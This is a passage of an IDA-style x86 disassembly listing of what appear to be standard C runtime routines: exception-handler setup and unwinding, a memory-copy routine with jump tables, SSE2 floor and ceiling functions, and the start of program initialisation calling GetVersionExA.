		lea	eax, [ebx+eax*4]
		cmp	[eax+4], ecx
		jge	short loc_40EF98
		cmp	ecx, [eax+8]
		jle	short loc_40EF9D


loc_40EF98:				; CODE XREF: sub_40EF5C+35j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40EFA9


loc_40EF9D:				; CODE XREF: sub_40EF5C+3Aj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_40EFA9:				; CODE XREF: sub_40EF5C+3Fj
		cmp	[ebp+arg_4], 0
		jge	short loc_40EF7A
		mov	eax, [ebp+var_4]


loc_40EFB2:				; CODE XREF: sub_40EF5C+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_40EFC6
		cmp	esi, eax
		jbe	short loc_40EFCB


loc_40EFC6:				; CODE XREF: sub_40EF5C+64j
		call	sub_413F0C


loc_40EFCB:				; CODE XREF: sub_40EF5C+68j
		pop	edi
		lea	eax, [esi+esi*4]
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_40EF5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EFD6	proc near		; CODE XREF: sub_41382B+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		mov	[eax], ecx
		mov	ecx, dword_4C5960
		mov	[eax+4], ecx
		mov	dword_4C5960, eax
		retn
sub_40EFD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EFEF	proc near		; CODE XREF: sub_413963+45p

arg_0		= dword	ptr  4

		mov	eax, dword_4C5960
		jmp	short loc_40F001
; ---------------------------------------------------------------------------


loc_40EFF6:				; CODE XREF: sub_40EFEF+14j
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_40F007
		mov	eax, [eax+4]


loc_40F001:				; CODE XREF: sub_40EFEF+5j
		test	eax, eax
		jnz	short loc_40EFF6
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_40F007:				; CODE XREF: sub_40EFEF+Dj
		xor	eax, eax
		retn
sub_40EFEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F00A	proc near		; CODE XREF: sub_413963+9p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, dword_4C5960
		cmp	edx, eax
		jnz	short loc_40F020
		mov	eax, [edx+4]
		mov	dword_4C5960, eax
		retn
; ---------------------------------------------------------------------------


loc_40F020:				; CODE XREF: sub_40F00A+Bj
		mov	ecx, eax
		add	eax, 4
		jmp	short loc_40F032
; ---------------------------------------------------------------------------


loc_40F027:				; CODE XREF: sub_40F00A+2Bj
		mov	eax, [eax]
		cmp	edx, eax
		jz	short loc_40F03C
		mov	ecx, eax
		lea	eax, [ecx+4]


loc_40F032:				; CODE XREF: sub_40F00A+1Bj
		cmp	dword ptr [eax], 0
		jnz	short loc_40F027
		jmp	sub_413F0C
; ---------------------------------------------------------------------------


loc_40F03C:				; CODE XREF: sub_40F00A+21j
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		retn
sub_40F00A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F043	proc near		; CODE XREF: sub_41382B+66p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_10], offset loc_40EEC7
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_413F40
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_40F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F094	proc near		; CODE XREF: sub_413BA4+30p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_40EEEB
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_40F115
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4C59BC
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_40F115:				; DATA XREF: sub_40F094+3Ao
		cmp	[ebp+var_4], 0
		jz	short loc_40F132
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_40F13B
; ---------------------------------------------------------------------------


loc_40F132:				; CODE XREF: sub_40F094+85j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_40F13B:				; CODE XREF: sub_40F094+9Cj
		mov	eax, [ebp+var_34]
		pop	ebx
		leave
		retn
sub_40F094	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F144	proc near		; CODE XREF: sub_416D00+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_40F15C
		push	[ebp+arg_0]
		call	sub_417E84	; RtlUnwind


loc_40F15C:				; DATA XREF: sub_40F144+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40F144	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F164	proc near		; DATA XREF: sub_40F186+Ao
					; sub_40F1EE+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_40F185
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40F185:				; CODE XREF: sub_40F164+10j
		retn
sub_40F164	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F186	proc near		; CODE XREF: sub_416D00+67p
					; sub_416D00+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_40F164
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40F1A3:				; CODE XREF: sub_40F186:loc_40F1DEj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F1E0
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40F1E0
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40F1DE
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_40F21A
		call	dword ptr [ebx+esi*4+8]


loc_40F1DE:				; CODE XREF: sub_40F186+44j
		jmp	short loc_40F1A3
; ---------------------------------------------------------------------------


loc_40F1E0:				; CODE XREF: sub_40F186+2Aj
					; sub_40F186+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40F186	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F1EE	proc near		; CODE XREF: sub_413963+4Fp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_40F164
		jnz	short locret_40F210
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40F210
		mov	eax, 1

locret_40F210:				; CODE XREF: sub_40F1EE+10j
					; sub_40F1EE+1Bj
		retn
sub_40F1EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F211	proc near		; CODE XREF: sub_413F40+1Ep
					; sub_413F40+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_421230
		jmp	short loc_40F224
sub_40F211	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F21A	proc near		; CODE XREF: sub_40F186+4Fp
					; sub_416D00+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_421230
		mov	ecx, [ebp+8]


loc_40F224:				; CODE XREF: sub_40F211+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_40F21A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40F234	proc near		; CODE XREF: .text:00409777p
					; sub_40C1BF+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_40F234	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F260	proc near		; CODE XREF: sub_40C36E+4Ep
					; sub_411CAE+13p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40F280
		cmp	edi, eax
		jb	loc_40F3FC


loc_40F280:				; CODE XREF: sub_40F260+16j
		test	edi, 3
		jnz	short loc_40F29C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40F2BC
		rep movsd
		jmp	off_40F3AC[edx*4]
; ---------------------------------------------------------------------------


loc_40F29C:				; CODE XREF: sub_40F260+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40F2B4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40F2BC+4[eax*4]
; ---------------------------------------------------------------------------


loc_40F2B4:				; CODE XREF: sub_40F260+46j
		jmp	dword ptr loc_40F3BC[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40F2BC:				; CODE XREF: sub_40F260+31j
					; sub_40F260+8Ej ...
		jmp	off_40F340[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40F2D0
		dd offset loc_40F2FC
		dd offset loc_40F320
; ---------------------------------------------------------------------------


loc_40F2D0:				; DATA XREF: sub_40F260+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40F2BC
		rep movsd
		jmp	off_40F3AC[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40F2FC:				; DATA XREF: sub_40F260+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40F2BC
		rep movsd
		jmp	off_40F3AC[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40F320:				; DATA XREF: sub_40F260+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_40F2BC
		rep movsd
		jmp	off_40F3AC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40F340	dd offset loc_40F3A3	; DATA XREF: sub_40F260:loc_40F2BCr
		dd offset loc_40F390
		dd offset loc_40F388
		dd offset loc_40F380
		dd offset loc_40F378
		dd offset loc_40F370
		dd offset loc_40F368
		dd offset loc_40F360
; ---------------------------------------------------------------------------


loc_40F360:				; CODE XREF: sub_40F260:loc_40F2BCj
					; DATA XREF: sub_40F260+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40F368:				; CODE XREF: sub_40F260:loc_40F2BCj
					; DATA XREF: sub_40F260+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40F370:				; CODE XREF: sub_40F260:loc_40F2BCj
					; DATA XREF: sub_40F260+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40F378:				; CODE XREF: sub_40F260:loc_40F2BCj
					; DATA XREF: sub_40F260+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40F380:				; CODE XREF: sub_40F260:loc_40F2BCj
					; DATA XREF: sub_40F260+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40F388:				; CODE XREF: sub_40F260:loc_40F2BCj
					; DATA XREF: sub_40F260+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40F390:				; CODE XREF: sub_40F260:loc_40F2BCj
					; DATA XREF: sub_40F260+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40F3A3:				; CODE XREF: sub_40F260:loc_40F2BCj
					; DATA XREF: sub_40F260:off_40F340o
		jmp	off_40F3AC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40F3AC	dd offset loc_40F3BC	; DATA XREF: sub_40F260+35r
					; sub_40F260+92r ...
		dd offset loc_40F3C4
		dd offset loc_40F3D0
		dd offset loc_40F3E4
; ---------------------------------------------------------------------------


loc_40F3BC:				; CODE XREF: sub_40F260+35j
					; sub_40F260+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F3C4:				; CODE XREF: sub_40F260+35j
					; sub_40F260+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40F3D0:				; CODE XREF: sub_40F260+35j
					; sub_40F260+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F3E4:				; CODE XREF: sub_40F260+35j
					; sub_40F260+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F3FC:				; CODE XREF: sub_40F260+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40F430
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40F424
		std
		rep movsd
		cld
		jmp	off_40F548[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40F424:				; CODE XREF: sub_40F260+1B5j
					; sub_40F260+210j ...
		neg	ecx
		jmp	off_40F4F8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40F430:				; CODE XREF: sub_40F260+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40F448
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40F448+4[eax*4]
; ---------------------------------------------------------------------------


loc_40F448:				; CODE XREF: sub_40F260+1DAj
					; DATA XREF: sub_40F260+1E1r
		jmp	off_40F548[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_40F45B+1
		dd offset loc_40F480
; ---------------------------------------------------------------------------
		test	al, 0F4h
		inc	eax


loc_40F45B:				; DATA XREF: sub_40F260+1F0o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40F424
		std
		rep movsd
		cld
		jmp	off_40F548[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40F480:				; DATA XREF: sub_40F260+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40F424
		std
		rep movsd
		cld
		jmp	off_40F548[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40F424
		std
		rep movsd
		cld
		jmp	off_40F548[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40F4FC
		dd offset loc_40F504
		dd offset loc_40F50C
		dd offset loc_40F514
		dd offset loc_40F51C
		dd offset loc_40F524
		dd offset loc_40F52C
off_40F4F8	dd offset loc_40F53F	; DATA XREF: sub_40F260+1C6r
; ---------------------------------------------------------------------------


loc_40F4FC:				; DATA XREF: sub_40F260+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40F504:				; DATA XREF: sub_40F260+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_40F50C:				; DATA XREF: sub_40F260+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40F514:				; DATA XREF: sub_40F260+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_40F51C:				; DATA XREF: sub_40F260+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40F524:				; DATA XREF: sub_40F260+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40F52C:				; DATA XREF: sub_40F260+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40F53F:				; CODE XREF: sub_40F260+1C6j
					; DATA XREF: sub_40F260:off_40F4F8o
		jmp	off_40F548[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40F548	dd offset loc_40F558	; DATA XREF: sub_40F260+1BBr
					; sub_40F260:loc_40F448r ...
		dd offset loc_40F560
		dd offset loc_40F570
		dd offset loc_40F584
; ---------------------------------------------------------------------------


loc_40F558:				; CODE XREF: sub_40F260+1BBj
					; sub_40F260:loc_40F448j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40F560:				; CODE XREF: sub_40F260+1BBj
					; sub_40F260:loc_40F448j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40F570:				; CODE XREF: sub_40F260+1BBj
					; sub_40F260:loc_40F448j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40F584:				; CODE XREF: sub_40F260+1BBj
					; sub_40F260:loc_40F448j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40F260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40F5A0	proc near		; CODE XREF: sub_40C0E1+44p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  4

		cmp	dword_4C5B40, 0
		jz	sub_4142AA
		sub	esp, 8
		stmxcsr	[esp+8+var_4]
		mov	eax, [esp+8+var_4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_40F5D4
		fnstcw	word ptr [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		and	ax, 7Fh
		cmp	ax, 7Fh


loc_40F5D4:				; CODE XREF: sub_40F5A0+23j
		lea	esp, [esp+8]
		jnz	sub_4142AA
		jmp	short $+2
		movq	xmm0, [esp+arg_0]
		movapd	xmm2, oword ptr	oword_41BB10
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	oword_41BB40
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jnz	short loc_40F662
		cmp	eax, 3FFh
		jl	short loc_40F69A
		psllq	xmm1, xmm2
		cmp	eax, 432h
		jg	short loc_40F633
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40F633:				; CODE XREF: sub_40F5A0+86j
					; sub_40F5A0+E1j
		ucomisd	xmm7, xmm7
		jnp	short loc_40F65D
		mov	edx, 3EDh
		sub	esp, 10h
		mov	[esp+10h+var_4], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+10h+var_8], edx
		mov	[esp+10h+var_C], edx
		mov	[esp+10h+var_10], edx
		call	sub_413F8C
		add	esp, 10h


loc_40F65D:				; CODE XREF: sub_40F5A0+97j
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40F662:				; CODE XREF: sub_40F5A0+74j
		movq	xmm0, [esp+arg_0]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 1
		cmp	eax, 0BFFh
		jl	short loc_40F69D
		cmp	eax, 0C32h
		jg	short loc_40F633
		andpd	xmm0, oword ptr	oword_41BB00
		subsd	xmm1, xmm0
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40F69A:				; CODE XREF: sub_40F5A0+7Bj
		fldz
		retn
; ---------------------------------------------------------------------------


loc_40F69D:				; CODE XREF: sub_40F5A0+DAj
		cmppd	xmm3, oword ptr	oword_41BB30, 1
		orpd	xmm3, oword ptr	oword_41BB30
		andpd	xmm3, oword ptr	oword_41BB20
		movq	[esp+arg_0], xmm3
		fld	[esp+arg_0]
		retn
sub_40F5A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40F6C1	proc near		; CODE XREF: sub_40C18A+13p
					; .text:00417D37p ...
		jmp	sub_40E359
sub_40F6C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6C6	proc near		; CODE XREF: sub_40C1BF+2Ep
					; sub_40C1BF+47p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_40E723
		pop	ecx
		pop	ecx
		retn
sub_40F6C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6D4	proc near		; CODE XREF: sub_40C269+Ep
					; sub_417D91+3Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41BB50
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_4191C0	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_40F6D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40F710	proc near		; CODE XREF: sub_40C62F+88p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  4

		cmp	dword_4C5B40, 0
		jz	sub_4143E1
		sub	esp, 8
		stmxcsr	[esp+8+var_4]
		mov	eax, [esp+8+var_4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_40F744
		fnstcw	word ptr [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		and	ax, 7Fh
		cmp	ax, 7Fh


loc_40F744:				; CODE XREF: sub_40F710+23j
		lea	esp, [esp+8]
		jnz	sub_4143E1
		jmp	short $+2
		movq	xmm0, [esp+arg_0]
		movapd	xmm2, oword ptr	oword_41BB80
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	oword_41BBA0
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jz	short loc_40F7D2
		cmp	eax, 0BFFh
		jl	short loc_40F80A
		psllq	xmm1, xmm2
		cmp	eax, 0C32h
		jg	short loc_40F7A3
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40F7A3:				; CODE XREF: sub_40F710+86j
					; sub_40F710+E1j
		ucomisd	xmm7, xmm7
		jnp	short loc_40F7CD
		mov	edx, 3ECh
		sub	esp, 10h
		mov	[esp+10h+var_4], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+10h+var_8], edx
		mov	[esp+10h+var_C], edx
		mov	[esp+10h+var_10], edx
		call	sub_413F8C
		add	esp, 10h


loc_40F7CD:				; CODE XREF: sub_40F710+97j
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40F7D2:				; CODE XREF: sub_40F710+74j
		movq	xmm0, [esp+arg_0]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 6
		cmp	eax, 3FFh
		jl	short loc_40F811
		cmp	eax, 432h
		jg	short loc_40F7A3
		andpd	xmm0, oword ptr	oword_41BB70
		addsd	xmm1, xmm0
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40F80A:				; CODE XREF: sub_40F710+7Bj
		fld	dbl_41BBB0
		retn
; ---------------------------------------------------------------------------


loc_40F811:				; CODE XREF: sub_40F710+DAj
		cmppd	xmm3, oword ptr	oword_41BB90, 6
		andpd	xmm3, oword ptr	oword_41BB70
		movq	[esp+arg_0], xmm3
		fld	[esp+arg_0]
		retn
sub_40F710	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F82D	proc near		; CODE XREF: .text:0040F958p
					; .text:0040F97Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4C596C, 1
		jnz	short loc_40F83B
		call	sub_414629


loc_40F83B:				; CODE XREF: sub_40F82D+7j
		push	[esp+arg_0]
		call	sub_4144B2
		push	0FFh
		call	off_421250
		pop	ecx
		pop	ecx
		retn
sub_40F82D	endp

; ---------------------------------------------------------------------------


loc_40F852:				; DATA XREF: .text:00418068o
		push	60h
		push	offset stru_41BBB8
		call	__SEH_prolog
		mov	edi, 94h
		mov	eax, edi
		call	sub_40D9A0
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[esi], edi
		push	esi
		call	dword_419138	; GetVersionExA
		mov	ecx, [esi+10h]
		mov	dword_4C5910, ecx
